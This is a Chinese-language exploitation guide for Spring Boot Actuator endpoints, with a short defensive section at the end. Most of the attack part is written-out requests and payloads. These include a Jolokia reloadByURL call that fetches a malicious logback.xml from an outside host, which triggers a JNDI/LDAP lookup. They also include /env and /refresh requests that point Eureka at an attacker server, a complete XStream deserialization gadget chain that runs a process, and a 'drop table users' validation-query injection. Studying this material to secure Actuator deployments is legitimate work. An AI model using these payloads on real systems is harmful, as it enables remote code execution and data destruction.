Spring Boot中Actuators的漏洞分析
字数 1603 2025-08-26 22:11:22
Spring Boot Actuators 漏洞分析与利用指南
1. Actuators 简介
Spring Boot Actuators 是一组用于监控和管理生产环境Web应用程序的功能端点。这些端点提供应用程序运行时的各种信息,包括健康状况、指标、环境变量等。
1.1 默认端点路径
- Spring Boot 1.x: 根URL下直接注册(如
/env,/health) - Spring Boot 2.x: 移动到
/actuator/路径下(如/actuator/env)
1.2 安全演变
- Spring Boot 1.0-1.4: 默认无需身份验证即可访问所有端点
- Spring Boot 1.5+: 默认只有
/health和/info端点开放,其他端点需要认证
2. 高危Actuator端点列表
以下端点可能带来安全隐患:
| 端点 | 风险描述 |
|---|---|
| /dump | 显示线程转储(包含堆栈跟踪) |
| /trace | 显示最后几条HTTP消息(可能包含会话标识符) |
| /logfile | 输出日志文件内容 |
| /shutdown | 关闭应用程序 |
| /mappings | 显示所有MVC控制器映射 |
| /env | 提供对配置环境的访问 |
| /restart | 重新启动应用程序 |
3. 关键漏洞利用技术
3.1 通过Jolokia进行远程代码执行
前提条件:
- 目标应用路径中包含Jolokia库
- 可访问
/jolokia端点
利用步骤:
-
列出所有可用的MBean操作:
http://127.0.0.1:8090/jolokia/list -
利用Logback的
reloadByURL操作:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml -
恶意logback.xml内容:
<configuration> <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" /> </configuration>
攻击原理:
- Logback配置支持从JNDI获取变量
- 恶意LDAP服务器可返回引用类型对象,触发目标应用执行任意代码
3.2 通过/env端点修改配置
前提条件:
- 目标应用包含Spring Cloud Libraries
- 可访问
/env和/refresh端点
利用方法:
-
修改Eureka服务URL(利用XStream反序列化):
POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream -
触发配置刷新:
POST /refresh HTTP/1.1 Host: 127.0.0.1:8090 -
恶意XStream payload示例(触发计算器):
<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>
3.3 数据库相关攻击
可修改的关键数据库属性:
-
执行任意SQL语句:
spring.datasource.tomcat.validationQuery = drop table users -
修改JDBC连接字符串:
spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb -
增加连接数以强制建立新连接:
spring.datasource.tomcat.max-active=777
其他有用属性:
spring.datasource.url- 数据库连接字符串spring.datasource.jndiName- 数据库JNDI字符串spring.datasource.tomcat.dataSourceJNDI- 数据库JNDI字符串spring.cloud.config.uri- Spring Cloud配置URL
4. 黑盒测试方法
-
探测常见Actuator端点:
- 使用Spring Boot默认端点列表进行扫描
- 参考列表:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
-
检查自定义端点:
- 开发者可能使用
@Endpoint创建自定义端点
- 开发者可能使用
5. 防御措施
-
安全配置建议:
- 禁用不必要的Actuator端点
- 为所有敏感端点配置身份验证
- 在生产环境中限制Actuator端点的访问
-
版本升级:
- 使用Spring Boot 2.x版本
- 确保使用最新安全补丁
-
网络层防护:
- 使用防火墙限制对Actuator端点的访问
- 仅允许内部网络或管理IP访问
6. 测试环境搭建
可在Github上找到用于测试的易受攻击Spring Boot应用程序示例,用于复现上述所有payload。